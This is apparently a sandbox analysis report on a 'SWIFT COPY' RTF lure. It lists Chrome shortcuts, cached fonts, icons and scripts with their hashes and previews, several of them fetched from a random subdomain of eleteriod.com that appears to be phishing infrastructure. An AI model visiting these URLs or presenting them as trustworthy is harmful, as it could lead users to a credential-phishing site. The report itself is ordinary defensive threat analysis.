Preview:	L..................F.@.. ...$+.,....]r..r.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.X .....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X2.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.X2.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.X2............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.X4............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........\.s......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:54:41 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.01367803843526
Encrypted:	false
SSDEEP:	48:8e8dEqTRy7FjHZeidAKZdA14tIeh7sFiZUkmgqeh7sWy+BX:8e0wtCnEy
MD5:	0B22F598FCB1A880006682C1F346CED9
SHA1:	1BFF56A2C49B87804B86B1F0B84D5E783940A370
SHA-256:	CE0373BAE02A8BA4DE1F7491049F898FFAFFF187EFCC071F5B439FD61482F4AC
SHA-512:	98D9912A15D6718AEE259E702D96C8403774D84B558CD0881E099994235C8C0122EA2E7E3F41AF91C663A24C5E6A2AC0A1B1D3DA296ED05B1C7E06EB9E409879
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....v. ;.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.X .....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X2.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.X2.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.X2............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.N...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........\.s......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed May 22 17:01:38 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.004397822137732
Encrypted:	false
SSDEEP:	48:8r8dEqTRy7FVHZeidAKZdA1behDiZUkwqeh8y+R:8r0wbBuy
MD5:	50E3C8D0F62DFB416E26764C4652B19F
SHA1:	EB502F2D3ACB2621F35713132620EF5350176DA5
SHA-256:	EC92B6E420863C32037AF306264A80D92BB1D96A619C295665FA7A674E5B8BB2
SHA-512:	4B0144B26F9CA5C63CDE60CDCF90BE1DD093996C0FB7454FF38A7C1FCA2F16065BFF650B005D66D9549D08E6A2BC488CB471AFBC7094CDB74EB78D66628A67BB
Malicious:	false
Preview:	L..................F.@.. ...$+.,........r.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.X .....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X2.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.X2.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.X2............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.X4............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........\.s......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed May 22 17:01:39 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9891564897639107
Encrypted:	false
SSDEEP:	48:8i/8dEqTRy7FVHZeidAKZdA1VehBiZUk1W1qehCy+C:8A0wbB9iy
MD5:	34CFFBAF475D3F57FCB9F1F44E91919E
SHA1:	05E042203BE3150D173E9082661517A1243E114D
SHA-256:	727039DD5C177B4414845008F7EDE3FF8F2810E772782EC61039D38D8CFCC9C3
SHA-512:	DB22B090D669AF47A5328DF21ED6E85950B2AA7F386FB4D83931459556BE9E3874AE7CFF9E54003C0D037993C237C7178C080F4A73879ADF953D2C4E61C18131
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....a..r.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.X .....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X2.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.X2.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.X2............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.X4............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........\.s......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed May 22 17:01:38 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.004793133192748
Encrypted:	false
SSDEEP:	48:8+8dEqTRy7FVHZeidAKZdA1duT6ehOuTbbiZUk5OjqehOuTbEy+yT+:8+0wbRTTTbxWOvTbEy7T
MD5:	FE93DF812107C7D3CF8D160D456941F4
SHA1:	DF9716C7903AE8F04CB2AF2D27E44300B8038233
SHA-256:	2B5AB19B639E5B09CD08AEE0F4268917D0DD3236CD71489B13B5EE680E4E5ED2
SHA-512:	CA6230F5EBAA43A2EA419B6C89D5C2B86CA05A206C35C030143335478FEE930EF3610E1158D942D5C2E63ADC17795372F1E8A0DB83ABD3F67CAC52015365C4A3
Malicious:	false
Preview:	L..................F.@.. ...$+.,....H...r.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.X .....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X2.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.X2.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.X2............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.X4............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........\.s......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\Desktop\~$rbornemx SWIFT COPY _ Wednesday May 2024..rtf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	3.887314234224954
Encrypted:	false
SSDEEP:	3:lXEIRCyYaBXMLAGnw+YWrn:l0IRn6AGd
MD5:	E8077F0702F7D676568B7E00C5B2E92A
SHA1:	D888AEBBA119E36975CFB90EC154C48055C169FA
SHA-256:	92F05F88822727EF1495D4F45C40F60474A1C283A7B11A9169C1858695D0C2FD
SHA-512:	1F686E23BA6D866E3E73897F2DC9516F81019B3297A82E379579FCD4EC41AF63B6BF0B7F774BC5DCA1A2AE8748A4173E3C65AD267029788DC4BC5DC9D5EF5006
Malicious:	false
Preview:	........................................................../Scanned_from_Xexox_Multifun...}}}}\f1\fs22\line\f0 ====================r.......xE.r...}.jj.....U...=(j

Chrome Cache Entry: 334

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	7390
Entropy (8bit):	4.02755241095864
Encrypted:	false
SSDEEP:	192:cdEMK4RwidEMK4Rwbwm6xiD7x9m9t6EQ3FabrItDWOO6DcA:cdEMVwidEMVwbwtxiDHmP6lFeItDWOOc
MD5:	B59C16CA9BF156438A8A96D45E33DB64
SHA1:	4E51B7D3477414B220F688ADABD76D3AE6472EE3
SHA-256:	A7EE799DD5B6F6DBB70B043B766362A6724E71458F9839306C995F06B218C2F8
SHA-512:	2C7095E4B819BC5CAA06811A55C0DAE6706970F981806DCF7FD41F744C1DC6A955657A8E57829B39B376B892E8173E8A41F683D329CFBBD0EC4D4019B10E52FF
Malicious:	false
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">..<mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff">..<path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 10.335 12.9974C6.89614 14.0647 4.5 17.2233 4.5 20.9412C4.50019 20.968 4.50041 20.9949 4.50066 21.0218C4.50022 21.0574 4.5 21.093 4.5 21.1287C4.55021 28.2609 6.80967 39.1601 18.6091 46.4932C21.8225 48.5023 25.8896 48.5023 29.1532 46.4932C41.053 39.2103 43.3125 28.3111 43.3125 21.1287C43.3125 21.108 43.3124 21.0872 43.3123 21.0665C43.3124 21.0246 43.3125 20.9829 43.3125 20.9412C43.3125 17.3371 41.0055 14.1946 37.6702 13.0618C37.0607 5.27148 31.147 0 23.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14

Chrome Cache Entry: 335

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 9 x 52, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.002585360278503
Encrypted:	false
SSDEEP:	3:yionv//thPlCthc/xl/k4E08up:6v/lhP3/7Tp
MD5:	52DA97BA0EA1B01BC353B00D2ED359AF
SHA1:	FA76B9D025E22BD431DE2172006D73D1740DC142
SHA-256:	CF305CE17F798679E03667CC9183ED52F2686C09EB99E8858FCBC8E2777F9BD5
SHA-512:	138529C7395EAF9869708050A03A7AE11D7C9C6063E00C6DAA161FF06879CE25E83C5A4EBED96D31867BA01A1C24C7285F375799CC4CC79A7777DE0E4F7329CD
Malicious:	false
Preview:	.PNG........IHDR.......4........4....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 336

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 93276, version 1.0
Category:	downloaded
Size (bytes):	93276
Entropy (8bit):	7.997636438159837
Encrypted:	true
SSDEEP:	1536:Dy7KSLv+MMqDeeIgDFSxpuQP7ObnKSWBO61LlRzSSAT6YmkSzOu7Be0OB53jIH4I:Dy7JD+net+puI7ObKHVhTSSlYmk4OuWa
MD5:	BCD7983EA5AA57C55F6758B4977983CB
SHA1:	EF3A009E205229E07FB0EC8569E669B11C378EF1
SHA-256:	6528A0BF9A836A53DFD8536E1786BA6831C9D1FAA74967126FDDF5B2081B858C
SHA-512:	E868A2702CA3B99E1ABBCBD40B1C90B42A9D26086A434F1CBAE79DFC072216F2F990FEC6265A801BC4F96DB0431E8F0B99EB0129B2EE7505B3FDFD9BB9BAFE90
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/cdHTrgIfxVnMGL3mur53GZppEX78Gw6Ke7xoztQTkl93
Preview:	wOF2......l\....... ..k...........................v...&..$?HVAR.j?MVAR.F.`?STAT.6'8.../.H........x....0..:.6.$..0. ..z...[....%"...........!.I.T....w.!c.H...t.]k......6..Cy..Ul.re........I..%.%....DE....v.i.QF8....iH.!r......P4Z[....Zs....o..r..8b.O....n...!......R}GL..5n!....^..I...A.....U...,&..uz....E.R.K/GL...#..U..A8%.rd..E,}...'e...u..3.dD....}..:..0.a..#O8.\|.7..{.}.o......(.D..HX...w.;F...g.+....g.x..,.@~<.K......ZJw......^.!..{:..<..`N..h..0.t..NA..,...]........On./..X\|_=...e,.tS..3Z..q_....'F[..jR.?U..k.:+;..Z.co5..l..yV.Md..4.6............L8q..._...AX.y.Cc...Agb..a.K...N....`-..N.b.u...q..i.S...p..j*...fA.......?.Z.Ee.~\|.\..TZ._...?./a.64..+.]..(gq..d..\K...S..z.i.l[.........1=....I.....4g.?.G.3.&.0L&.$.@R6...U..o..:.S.=.....bU..u.]z.W8[U.\|7.'.%..u...11..g<.^...J..PB.JHB...k........].($..D...S"u...7...9.8.....U..7...R$..x...g.X.zV.,.$....y.:.....Q$OM....q.. ...(.O....".d<.l..9..\|^B.r.5......yi.D..._...<P..o....(Re.I...@E.~..T.

Chrome Cache Entry: 337

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	727
Entropy (8bit):	7.573165690842521
Encrypted:	false
SSDEEP:	12:6v/70lGN4n6OF/Y9jJ6xmOLY3cyWiJBYmH7xCZm1Uvleq8AM8Tkbc0:HudJ6xU3fWU1HsZm1Wleq8t5b/
MD5:	839CB0F55C3D2D5C2F740BDA95CB2878
SHA1:	93F6FA3A2DA8B7184D4B5C5F2065872793370C2E
SHA-256:	40ECB8832F6A9A8AAA0CC6E1287E867A4FCA38433D091D86C6CAB1F28FBAB652
SHA-512:	ECBCA8AB21BF3302C88F933CFD248CFF5553AFE152A170F554C27FD67BDC3E7D8CE79E202561FD0658E41820681EB90F74E38FD09390C517AFB34D2C1B65A096
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDAThC.Q.1.E.......`... .............T...:....7r....sw;Y.h..dK__.........M.v.....@a....j..P.;..K....^%..m...Nn.......y..l.]@..z.T..X..e...DZ.$Y......o`.L@`..r.0...s8Bd...1..M.=.A...a.'./...O....@4.mk..2.\..H.ER...e....s...`._.;..5n...X\|o..K....w...8........i8L..6P\|r9.=!...j..........~X{.Y.5X....4...v.Z.&.... ..)..ZXJ.8..... ..-p.9t.N...r.[..t....=\ >pLg%m..@........8o.).%..S...d.E\|%.......5.p..QK0Z<...0...:Q...<.m^<.y....7..#r..Qm...DZ..}.5.c.&.....0..Wr.....w.f-.n... .-..,l..0..3...E..4k.~..Y.B:t.*}.L..z..U.b......s............w.(......jt.Z5.7..8........0...?..1.w."&......8j.5vO.<..OgSM.j%..u..E=:..XJ==.....(...30.(....O)41P.....pkQ@f.S.....IEND.B`.

Chrome Cache Entry: 338

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	231
Entropy (8bit):	6.725074433303473
Encrypted:	false
SSDEEP:	6:6v/lhPZsRtsa9hC0bKDHv5Ef30XY4qMa3IE6Aleup:6v/76eAhbSHusYX4E3
MD5:	547988BAC5584B4608466D761E16F370
SHA1:	C11BB71049702528402A31027F200184910A7E23
SHA-256:	70E32B2DB3F079BB0295A85A0DB15ED9E5926294DD947938D6CFA595F5AB18B4
SHA-512:	C4A76F6E94982D1CC02C2B67523A334E76BFDE525C1014D32DB9E7ECA0FA39A06F291ECFA94C8C6A49D488EA3ACF9C10DDF3CAD9515562010440863D0F08FBA3
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/wxmjNuYi8NFj9axNCKeelVGasqrjFfWilIrHNE12129
Preview:	.PNG........IHDR..............w=.....sRGB.........IDATHK...1...Z......... #$#..-.. $$3..H...q.x.>.x..yY.\|.@h.......$.B/..*Ec...J.}.....Rl..^.......#-...f.6p.cJigf...G.<.!.z..>a.+j....&U.....E/.._.`.d...~_....7...4`....IEND.B`.

Chrome Cache Entry: 339

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 36696, version 1.0
Category:	downloaded
Size (bytes):	36696
Entropy (8bit):	7.988666025644622
Encrypted:	false
SSDEEP:	768:lvJo4KciQZYjebVq19lKPtHAQ/l4rj2bqkiHShpeSUOR4OqWOgaU:lhH3rVq1PKP432tSSh4SUORHqWcU
MD5:	A69E9AB8AFDD7486EC0749C551051FF2
SHA1:	C34E6AA327B536FB48D1FE03577A47C7EE2231B8
SHA-256:	FD78A1913DB912221B8EAD1E62FAD47D1FF0A9FA6CD88D3B128A721AD91D2FAF
SHA-512:	9A0E4297282542B8813F9CC85B2CCB09663CE281F64503F9A5284631881DA9AACF7649553BF1423D941F01B97E6BC3BA50AB13E55E4B7B61C5AA0A4ADF4D390F
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/23tBEhtKGMgm89BkdRhzvw70
Preview:	wOFF.......X......6........0...(............DSIG...(............GPOS..........^>....GSUB.............3y.OS/2.......F...`h`{Zcmap...........<.?+.cvt .......0...<(...fpgm............?...gasp................glyf.."0..Tl...h...+head..v....4...6..}.hhea..v....!...$...Zhmtx..v........x;...loca..z\|...........tmaxp..~$... ... .-..name..~D.......'....post............1+.,prep.............P..x..\.\|U..Nr.^.......DD.T....V...C....U._.N..k.8.m...h.Q.6q....#....Y4l.}3.@ .............Z_....s.....>RD.....J....wR./...#.,<'f....4b..}(....P..\.s.9'.....-.Q..d..H.@%..K+....4U.4...yx.3..DkfJ..3S.H......\|..........%.B...........W.~..nN<x.?....}jn...W..M.7...?...:-uAjQ.4J.].vm....H{&...y..@....G...~.......x=.V..g.;..@..J.l...G..L... gM..h.....Q!}B...Q.m.M...R.5.JUi..U_5@]..PW...5H.VW.k..:5D].nP#..5V=....x.....W/...E5I...NVS.T.u...^U3._...m5G-P...U...Gj.V..j.Z...j..BJ.._Pw..0..f...q...q5...'.F=MIj.7..^.f."..K\..pHMC.t.W.Z.Bz...l.+.....e\|......B>....1.a,.D.Ej..(.

Chrome Cache Entry: 340

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42526)
Category:	downloaded
Size (bytes):	42527
Entropy (8bit):	5.373234803143812
Encrypted:	false
SSDEEP:	768:NCoLEBOnQowmmxCsbE95NdDid29P4DY88fvO959F1DQ+aohLyKoS4Hnla5KX5:qWQowHxCsQ919P0959vk
MD5:	C667700BE084108F8DEDED9026FFBBF9
SHA1:	31D633A11EF13A66787EC6504E38C11842664B7B
SHA-256:	E158035A6F740B0245A027BF0D559C56782EBBEEC7CAB5A827083BD16AA47901
SHA-512:	9EEA0C81A4D7E7ED7EE7F30A53B5AA93C356129D9850AE978A6D408F0B1337F3E9FCEDE25C996DCA3A2AC9840B86B4D821CD0A9DFFCF8BC427A730F420F33891
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/b/695da7821231/api.js
Preview:	"use strict";(function(){function Et(e,a,r,o,c,u,g){try{var b=e[u](g),_=b.value}catch(s){r(s);return}b.done?a(_):Promise.resolve(_).then(o,c)}function wt(e){return function(){var a=this,r=arguments;return new Promise(function(o,c){var u=e.apply(a,r);function g(_){Et(u,o,c,g,b,"next",_)}function b(_){Et(u,o,c,g,b,"throw",_)}g(void 0)})}}function M(e,a){return a!=null&&typeof Symbol!="undefined"&&a[Symbol.hasInstance]?!!a[Symbol.hasInstance](e):M(e,a)}function Re(e,a,r){return a in e?Object.defineProperty(e,a,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[a]=r,e}function Be(e){for(var a=1;a<arguments.length;a++){var r=arguments[a]!=null?arguments[a]:{},o=Object.keys(r);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(r).filter(function(c){return Object.getOwnPropertyDescriptor(r,c).enumerable}))),o.forEach(function(c){Re(e,c,r[c])})}return e}function dr(e,a){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 341

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	268
Entropy (8bit):	5.111190711619041
Encrypted:	false
SSDEEP:	6:tI9mc4slztdbC/yXqRRnYdbyJA0xy+LUxh7JECWWNAc:t4pb8WuEbaA0xVUxh1ECgc
MD5:	59759B80E24A89C8CD029B14700E646D
SHA1:	651B1921C99E143D3C242DE3FAACFB9AD51DBB53
SHA-256:	B02B5DF3ECD59D6CD90C60878683477532CBFC24660028657F290BDC7BC774B5
SHA-512:	0812DA742877DD00A2466911A64458B15B4910B648A5E98A4ACF1D99E1220E1F821AAF18BDE145DF185D5F72F5A4B2114EA264F906135F3D353440F343D52D2E
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/rst8N6cnlCxOsMQhnswMwlUCaOLMUL9Kjbcu86gh0Bc8CZGqwwMNYgEYsXQoW0SG47ef196
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill="#404040"/></svg>

Chrome Cache Entry: 342

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1238)
Category:	downloaded
Size (bytes):	1239
Entropy (8bit):	5.068464054671174
Encrypted:	false
SSDEEP:	24:ch63Cf5W8QPIHRZ3hwVFS39bYGwNef1yTZsNUkQ1sZmSuLqNWRco5Jcn5IKM6cuY:C6SQnw/x+SR8ZZkQbp1RZ5JwiKMm7Zc
MD5:	9E8F56E8E1806253BA01A95CFC3D392C
SHA1:	A8AF90D7482E1E99D03DE6BF88FED2315C5DD728
SHA-256:	2595496FE48DF6FCF9B1BC57C29A744C121EB4DD11566466BC13D2E52E6BBCC8
SHA-512:	63F0F6F94FBABADC3F774CCAA6A401696E8A7651A074BC077D214F91DA080B36714FD799EB40FED64154972008E34FC733D6EE314AC675727B37B58FFBEBEBEE
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js
Preview:	!function(){"use strict";function e(e){try{if("undefined"==typeof console)return;"error"in console?console.error(e):console.log(e)}catch(e){}}function t(e){return d.innerHTML='<a href="'+e.replace(/"/g,""")+'"></a>',d.childNodes[0].getAttribute("href")\|\|""}function r(e,t){var r=e.substr(t,2);return parseInt(r,16)}function n(n,c){for(var o="",a=r(n,c),i=c+2;i<n.length;i+=2){var l=r(n,i)^a;o+=String.fromCharCode(l)}try{o=decodeURIComponent(escape(o))}catch(u){e(u)}return t(o)}function c(t){for(var r=t.querySelectorAll("a"),c=0;c<r.length;c++)try{var o=r[c],a=o.href.indexOf(l);a>-1&&(o.href="mailto:"+n(o.href,a+l.length))}catch(i){e(i)}}function o(t){for(var r=t.querySelectorAll(u),c=0;c<r.length;c++)try{var o=r[c],a=o.parentNode,i=o.getAttribute(f);if(i){var l=n(i,0),d=document.createTextNode(l);a.replaceChild(d,o)}}catch(h){e(h)}}function a(t){for(var r=t.querySelectorAll("template"),n=0;n<r.length;n++)try{i(r[n].content)}catch(c){e(c)}}function i(t){try{c(t),o(t),a(t)}catch(r){e(r

Chrome Cache Entry: 343

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 344

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 28584, version 1.66
Category:	downloaded
Size (bytes):	28584
Entropy (8bit):	7.992563951996154
Encrypted:	true
SSDEEP:	768:8n53CNftp4NM/2qxGvtAG9fvpWYSTvlj6OIqrd1xUseRc:85SNfQS2ntfxvpWYSTcfMERc
MD5:	17081510F3A6F2F619EC8C6F244523C7
SHA1:	87F34B2A1532C50F2A424C345D03FE028DB35635
SHA-256:	2C7292014E2EF00374AEB63691D9F23159A010455784EE0B274BA7DB2BCCA956
SHA-512:	E27976F77797AD93160AF35714D733FD9E729A9981D8A6F555807981D08D8175E02692AA5EA6E59CEBD33895F5F6A3575692565FDD75667630DAB158627A1005
Malicious:	false
URL:	https://l6agz47874.eleteriod.com/56RriKccTQyAhplO4d67VmBjviYuv59
